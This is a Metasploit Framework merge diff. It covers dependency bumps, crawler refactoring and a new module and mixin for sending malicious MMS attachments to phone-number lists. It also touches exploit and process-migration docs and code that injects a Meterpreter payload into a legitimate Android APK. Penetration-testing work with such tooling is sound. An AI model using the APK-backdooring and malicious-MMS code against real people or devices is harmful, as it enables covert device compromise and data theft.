Merge remote-tracking branch 'upstream/master' into land-8056-outlook
commit
ad2222152c
22
Gemfile.lock
22
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.14.2)
|
||||
metasploit-framework (4.14.3)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -14,7 +14,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.17)
|
||||
metasploit-payloads (= 1.2.18)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.7)
|
||||
msgpack
|
||||
|
@ -104,7 +104,7 @@ GEM
|
|||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.3)
|
||||
capybara (2.12.1)
|
||||
capybara (2.13.0)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
|
@ -145,8 +145,8 @@ GEM
|
|||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (4.0.0)
|
||||
google-protobuf (3.2.0)
|
||||
gherkin (4.1.1)
|
||||
google-protobuf (3.2.0.2)
|
||||
googleauth (0.5.1)
|
||||
faraday (~> 0.9)
|
||||
jwt (~> 1.4)
|
||||
|
@ -164,7 +164,7 @@ GEM
|
|||
json (2.0.3)
|
||||
jwt (1.5.6)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.1.0)
|
||||
logging (2.2.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.0.3)
|
||||
|
@ -190,7 +190,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.2.17)
|
||||
metasploit-payloads (1.2.18)
|
||||
metasploit_data_models (2.0.14)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -227,7 +227,7 @@ GEM
|
|||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pg (0.19.0)
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
|
@ -256,7 +256,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.0.0)
|
||||
rb-readline (0.5.4)
|
||||
recog (2.1.4)
|
||||
recog (2.1.5)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.4)
|
||||
|
@ -335,7 +335,7 @@ GEM
|
|||
faraday (~> 0.9)
|
||||
jwt (~> 1.5)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.13.0)
|
||||
simplecov (0.14.0)
|
||||
docile (~> 1.1.0)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
|
@ -350,7 +350,7 @@ GEM
|
|||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.0)
|
||||
windows_error (0.1.1)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.9.8)
|
||||
|
|
|
@ -1,17 +1,8 @@
|
|||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -19,10 +10,7 @@ require 'uri'
|
|||
class CrawlerSimple < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
# doc = Hpricot(result.body.to_s)
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class CrawlerComments < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath('//comment()').each do |comment|
|
||||
# searching for href
|
||||
hr = /href\s*=\s*"([^"]*)"/.match(comment)
|
||||
if hr
|
||||
begin
|
||||
hreq = urltohash('GET', hr[1], request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,17 +1,8 @@
|
|||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -19,28 +10,21 @@ require 'uri'
|
|||
class CrawlerForms < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
return unless result['Content-Type'].include?('text/html')
|
||||
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.css('form').each do |f|
|
||||
hr = f['action']
|
||||
|
||||
fname = f['name']
|
||||
fname = "NONE" if fname.empty?
|
||||
# Removed because unused
|
||||
#fname = f['name']
|
||||
#fname = 'NONE' if fname.empty?
|
||||
|
||||
m = f['method'].empty? ? 'GET' : f['method'].upcase
|
||||
|
||||
htmlform = Nokogiri::HTML(f.inner_html)
|
||||
m = (f['method'].empty? ? 'GET' : f['method'].upcase)
|
||||
|
||||
arrdata = []
|
||||
|
||||
htmlform.css('input').each do |p|
|
||||
f.css('input').each do |p|
|
||||
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
|
||||
end
|
||||
|
||||
|
@ -51,7 +35,10 @@ class CrawlerForms < BaseParser
|
|||
hreq['ctype'] = 'application/x-www-form-urlencoded'
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,13 +1,8 @@
|
|||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -27,6 +22,7 @@ class CrawlerFrames < BaseParser
|
|||
hreq = urltohash('GET', ir, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,14 +1,8 @@
|
|||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# $Revision: 9212 $
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -27,6 +21,7 @@ class CrawlerImage < BaseParser
|
|||
hreq = urltohash('GET', im, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,14 +1,8 @@
|
|||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# $Revision: 9212 $
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -26,6 +20,7 @@ class CrawlerLink < BaseParser
|
|||
hreq = urltohash('GET', hr, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,17 +1,8 @@
|
|||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -29,6 +20,7 @@ class CrawlerObjects < BaseParser
|
|||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,17 +1,8 @@
|
|||
##
|
||||
# $Id$
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
@ -21,8 +12,6 @@ class CrawlerScripts < BaseParser
|
|||
def parse(request,result)
|
||||
return unless result['Content-Type'].include? "text/html"
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
doc = Nokogiri::HTML(result.body.to_s)
|
||||
doc.xpath("//script").each do |obj|
|
||||
s = obj['src']
|
||||
|
@ -30,6 +19,7 @@ class CrawlerScripts < BaseParser
|
|||
hreq = urltohash('GET', s, request['uri'], nil)
|
||||
insertnewpath(hreq)
|
||||
rescue URI::InvalidURIError
|
||||
# ignored
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,150 @@
|
|||
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
|
||||
collection of phone numbers of the same carrier.
|
||||
|
||||
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
|
||||
mail services such as Gmail, Yahoo, Live should work fine.
|
||||
|
||||
## Module Options
|
||||
|
||||
**CELLNUMBERS**
|
||||
|
||||
The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target
|
||||
against multiple phone numbers, ideally you want to create the list in a text file (one number per
|
||||
line), and then load the CELLNUMBERS option like this:
|
||||
|
||||
```
|
||||
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
|
||||
```
|
||||
|
||||
Remember that these phone numbers must be the same carrier.
|
||||
|
||||
**MMSCARRIER**
|
||||
|
||||
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
|
||||
supported carriers.
|
||||
|
||||
**TEXTMESSAGE**
|
||||
|
||||
The text message you want to send. For example, this will send a text with a link to google:
|
||||
|
||||
```
|
||||
set TEXTMESSAGE "Hi, please go: google.com"
|
||||
```
|
||||
|
||||
The link should automatically be parsed on the phone and clickable.
|
||||
|
||||
**MMSFILE**
|
||||
|
||||
The attachment to send in the message.
|
||||
|
||||
**MMSFILECTYPE**
|
||||
|
||||
The content type to use for the attachment. Commonly supported ones include:
|
||||
|
||||
* audio/midi
|
||||
* image/jpeg
|
||||
* image/gif
|
||||
* image/png
|
||||
* video/mp4
|
||||
|
||||
To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html)
|
||||
|
||||
**SMTPADDRESS**
|
||||
|
||||
The mail server address you wish to use to send the MMS messages.
|
||||
|
||||
**SMTPPORT**
|
||||
|
||||
The mail server port. By default, this is ```25```.
|
||||
|
||||
**SMTPUSERNAME**
|
||||
|
||||
The username you use to log into the SMTP server.
|
||||
|
||||
**SMTPPASSWORD**
|
||||
|
||||
The password you use to log into the SMTP server.
|
||||
|
||||
**SMTPFROM**
|
||||
|
||||
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this
|
||||
in order to receive the text, such as AT&T.
|
||||
|
||||
**MMSSUBJECT**
|
||||
|
||||
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
|
||||
|
||||
## Supported Carrier Gateways
|
||||
|
||||
The module supports the following carriers:
|
||||
|
||||
* AT&T
|
||||
* Sprint
|
||||
* T-Mobile
|
||||
* Verizon
|
||||
* Google Fi
|
||||
|
||||
## Finding the Carrier for a Phone Number
|
||||
|
||||
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
|
||||
how to identify the carrier of a phone number. There are many services that can do this, such as:
|
||||
|
||||
http://freecarrierlookup.com/
|
||||
|
||||
## Gmail SMTP Example
|
||||
|
||||
Gmail is a popular mail server, so we will use this as a demonstration.
|
||||
|
||||
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
|
||||
|
||||
After creating the application password, configure auxiliary/client/mms/send_mms this way:
|
||||
|
||||
* ```set cellnumbers [PHONE NUMBER]```
|
||||
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||
* ```set textmessage "[TEXT MESSAGE]"```
|
||||
* ```set smtpaddress smtp.gmail.com```
|
||||
* ```set smtpport 587```
|
||||
* ```set mmsfile /tmp/example.mp4```
|
||||
* ```set mmsfilectype video/mp4```
|
||||
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
|
||||
* ```set smtppassword [APPLICATION PASSWORD]```
|
||||
|
||||
And you should be ready to go.
|
||||
|
||||
## Yahoo SMTP Example
|
||||
|
||||
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
|
||||
so we will demonstrate as well.
|
||||
|
||||
Before using the module, you must do this to your Yahoo account:
|
||||
|
||||
1. Sign in to Yahoo Mail.
|
||||
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
|
||||
3. Turn on Allow apps that use less secure sign in.
|
||||
|
||||
After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way:
|
||||
|
||||
* ```set cellnumbers [PHONE NUMBER]```
|
||||
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||
* ```set textmessage "[TEXT MESSAGE]"```
|
||||
* ```set smtpaddress smtp.mail.yahoo.com```
|
||||
* ```set smtpport 25```
|
||||
* ```set mmsfile /tmp/example.mp4```
|
||||
* ```set mmsfilectype video/mp4```
|
||||
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
|
||||
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
|
||||
|
||||
And you're good to go.
|
||||
|
||||
## Demonstration
|
||||
|
||||
After setting up your mail server and the module, your output should look similar to this:
|
||||
|
||||
```
|
||||
msf auxiliary(send_mms) > run
|
||||
|
||||
[*] Sending mms message to 1 number(s)...
|
||||
[*] Done.
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(send_mms) >
|
||||
```
|
|
@ -1,6 +1,6 @@
|
|||
```struts2_content_type_ognl``` is a module that exploits Apache Struts 2's Jakarta Multipart
|
||||
`struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart
|
||||
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
|
||||
```Content-Type``` value.
|
||||
`Content-Type` value.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
|
@ -29,7 +29,7 @@ set as optional.
|
|||
|
||||
**The Check Command**
|
||||
|
||||
The ```struts2_content_type_ognl``` module comes with a check command that can effectively check
|
||||
The `struts2_content_type_ognl` module comes with a check command that can effectively check
|
||||
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
|
||||
following:
|
||||
|
||||
|
@ -39,7 +39,7 @@ set RHOST [IP]
|
|||
set TARGETURI [path to the Struts app with an action]
|
||||
```
|
||||
|
||||
When the module is in verbose mode, the ```check``` command will try to tell you the OS information,
|
||||
When the module is in verbose mode, the `check` command will try to tell you the OS information,
|
||||
and whether or not the machine is vulnerable. Like this:
|
||||
|
||||
```
|
||||
|
@ -54,7 +54,7 @@ msf exploit(struts2_content_type_ognl) > check
|
|||
After identifying the vulnerability on the target machine, you can try to exploit it.
|
||||
|
||||
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
|
||||
try to do ```show payloads```, and pick one. The following example demonstrates us exploiting a
|
||||
try to do `show payloads`, and pick one. The following example demonstrates us exploiting a
|
||||
vulnerable Ubuntu host:
|
||||
|
||||
```
|
||||
|
|
|
@ -14,6 +14,7 @@ This module is a nice addition to the beginning of an autorun script for post-Me
|
|||
- **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights.
|
||||
- **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes.
|
||||
- **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE.
|
||||
- **NOFAIL** - This option allows you to specify whether or not the module will migrate the session into a user level process if admin level migration fails. If TRUE, this may downgrade priviliged shells. The default value is FALSE.
|
||||
|
||||
## Module Process
|
||||
Here is the process that the module follows:
|
||||
|
@ -22,11 +23,13 @@ Here is the process that the module follows:
|
|||
- If the session has admin rights, it attempts to migrate to a system owned process in the following order:
|
||||
- ANAME (Module option, if specified)
|
||||
- services.exe
|
||||
- winlogon.exe
|
||||
- wininit.exe
|
||||
- svchost.exe
|
||||
- lsm.exe
|
||||
- lsass.exe
|
||||
- If it is unable to migrate to one of these processes, it drops to user level migration.
|
||||
- winlogon.exe
|
||||
- The module will not migrate if the session has System rights and is already in one of the above target processes.
|
||||
- If it is unable to migrate to one of these processes, it drops to user level migration if NOFAIL is TRUE.
|
||||
- If the session has user rights, it attempts to migrate to a user owned process in the following order:
|
||||
- NAME (Module option, if specified)
|
||||
- explorer.exe
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.14.2"
|
||||
VERSION = "4.14.3"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -28,5 +28,5 @@ require 'msf/core/auxiliary/iax2'
|
|||
require 'msf/core/auxiliary/ntp'
|
||||
require 'msf/core/auxiliary/pii'
|
||||
require 'msf/core/auxiliary/redis'
|
||||
|
||||
require 'msf/core/auxiliary/sms'
|
||||
require 'msf/core/auxiliary/mms'
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
###
|
||||
#
|
||||
# The Msf::Auxiliary::Mms mixin allows you to send a text message
|
||||
# including a media file.
|
||||
#
|
||||
##
|
||||
|
||||
module Msf
|
||||
module Auxiliary::Mms
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
|
||||
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
|
||||
OptString.new('MMSSUBJECT', [false, 'The Email subject', '']),
|
||||
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
|
||||
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
|
||||
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
|
||||
OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
|
||||
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
|
||||
OptString.new('TEXTMESSAGE', [true, 'The text message to send']),
|
||||
OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']),
|
||||
OptString.new('MMSFILECTYPE', [false, 'The attachment content type'])
|
||||
], Auxiliary::Mms)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
|
||||
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
|
||||
], Auxiliary::Mms)
|
||||
end
|
||||
|
||||
|
||||
# Sends an MMS message to multiple numbers of the same service provider (carrier).
|
||||
#
|
||||
# @example This sends a text (including an attachment) via Gmail
|
||||
# smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
|
||||
# mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp)
|
||||
# mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg')
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
|
||||
# @param subject [String] MMS subject
|
||||
# @param message [String] The text to send.
|
||||
# @param attachment_path [String] Optional
|
||||
# @param ctype [String] Optional
|
||||
#
|
||||
# @return [void]
|
||||
def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
|
||||
smtp = Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: datastore['SMTPADDRESS'],
|
||||
port: datastore['SMTPPORT'],
|
||||
username: datastore['SMTPUSERNAME'],
|
||||
password: datastore['SMTPPASSWORD'],
|
||||
login_type: datastore['SmtpLoginType'].to_sym,
|
||||
from: datastore['SMTPFROM'],
|
||||
)
|
||||
|
||||
carrier = datastore['MMSCARRIER'].to_sym
|
||||
mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp)
|
||||
mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -23,6 +23,16 @@ module Msf
|
|||
)
|
||||
end
|
||||
|
||||
def is_loopback_address?(address)
|
||||
begin
|
||||
a = IPAddr.new(address.to_s)
|
||||
return true if IPAddr.new('127.0.0.1/8') === a
|
||||
return true if IPAddr.new('::1') === a
|
||||
rescue
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
# A list of addresses to attempt to bind, in preferred order.
|
||||
#
|
||||
# @return [Array<String>] a two-element array. The first element will be
|
||||
|
@ -32,11 +42,18 @@ module Msf
|
|||
def bind_addresses
|
||||
# Switch to IPv6 ANY address if the LHOST is also IPv6
|
||||
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
|
||||
# First attempt to bind LHOST. If that fails, the user probably has
|
||||
# something else listening on that interface. Try again with ANY_ADDR.
|
||||
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
||||
addr = Rex::Socket.addr_ntoa(addr)
|
||||
|
||||
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
|
||||
# Checking if LHOST is a loopback address
|
||||
if is_loopback_address?(addr)
|
||||
print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?")
|
||||
end
|
||||
|
||||
addrs = [ addr, any ]
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
# Only try to bind to this specific interface
|
||||
|
@ -87,10 +104,8 @@ module Msf
|
|||
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
|
||||
else
|
||||
ex = false
|
||||
|
||||
via = via_string_for_ip(ip, comm)
|
||||
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
|
|
@ -419,4 +419,3 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -54,15 +54,9 @@ module Msf::Payload::Android
|
|||
transports: opts[:transport_config] || [transport_config(opts)]
|
||||
}
|
||||
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
result = config.to_b
|
||||
|
||||
result[0] = "\x01" if opts[:stageless]
|
||||
result
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length))
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
|
||||
config[0] = "\x01" if opts[:stageless]
|
||||
config
|
||||
end
|
||||
|
||||
def sign_jar(jar)
|
||||
|
@ -98,14 +92,18 @@ module Msf::Payload::Android
|
|||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
config = generate_config(opts)
|
||||
if opts[:stageless]
|
||||
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
|
||||
# Add stageless classname at offset 8000
|
||||
config += "\x00" * (8000 - config.size)
|
||||
config += 'com.metasploit.meterpreter.AndroidMeterpreter'
|
||||
else
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
end
|
||||
|
||||
config = generate_config(opts)
|
||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
config += "\x00" * (8195 - config.size)
|
||||
classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
files = [
|
||||
|
|
|
@ -35,9 +35,14 @@ class Msf::Payload::Apk
|
|||
end
|
||||
end
|
||||
|
||||
# Find the activity that is opened when you click the app icon
|
||||
def find_launcher_activity(amanifest)
|
||||
# Find a suitable smali point to hook
|
||||
def find_hook_point(amanifest)
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
application = amanifest.xpath('//application')
|
||||
application_name = application.attribute("name")
|
||||
if application_name
|
||||
return application_name.to_s
|
||||
end
|
||||
activities = amanifest.xpath("//activity|//activity-alias")
|
||||
for activity in activities
|
||||
activityname = activity.attribute("targetActivity")
|
||||
|
@ -68,7 +73,7 @@ class Msf::Payload::Apk
|
|||
}
|
||||
end
|
||||
|
||||
def fix_manifest(tempdir, package)
|
||||
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
|
||||
#Load payload's manifest
|
||||
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
||||
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
||||
|
@ -78,6 +83,8 @@ class Msf::Payload::Apk
|
|||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
|
||||
old_permissions = []
|
||||
add_permissions = []
|
||||
|
||||
original_permissions.each do |permission|
|
||||
name = permission.attribute("name").to_s
|
||||
old_permissions << name
|
||||
|
@ -87,21 +94,26 @@ class Msf::Payload::Apk
|
|||
payload_permissions.each do |permission|
|
||||
name = permission.attribute("name").to_s
|
||||
unless old_permissions.include?(name)
|
||||
print_status("Adding #{name}")
|
||||
if original_permissions.empty?
|
||||
application.before(permission.to_xml)
|
||||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
else
|
||||
original_permissions.before(permission.to_xml)
|
||||
end
|
||||
add_permissions += [permission.to_xml]
|
||||
end
|
||||
end
|
||||
add_permissions.shuffle!
|
||||
for permission_xml in add_permissions
|
||||
print_status("Adding #{permission_xml}")
|
||||
if original_permissions.empty?
|
||||
application.before(permission_xml)
|
||||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
else
|
||||
original_permissions.before(permission_xml)
|
||||
end
|
||||
end
|
||||
|
||||
application = original_manifest.at_xpath('/manifest/application')
|
||||
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
|
||||
service = payload_manifest.at_xpath('/manifest/application/service')
|
||||
receiver.attributes["name"].value = package + receiver.attributes["name"].value
|
||||
service.attributes["name"].value = package + service.attributes["name"].value
|
||||
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
|
||||
receiver.attributes["label"].value = main_broadcast_receiver
|
||||
service.attributes["name"].value = package + '.' + main_service
|
||||
application << receiver.to_xml
|
||||
application << service.to_xml
|
||||
|
||||
|
@ -110,7 +122,7 @@ class Msf::Payload::Apk
|
|||
|
||||
def parse_orig_cert_data(orig_apkfile)
|
||||
orig_cert_data = Array[]
|
||||
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
|
||||
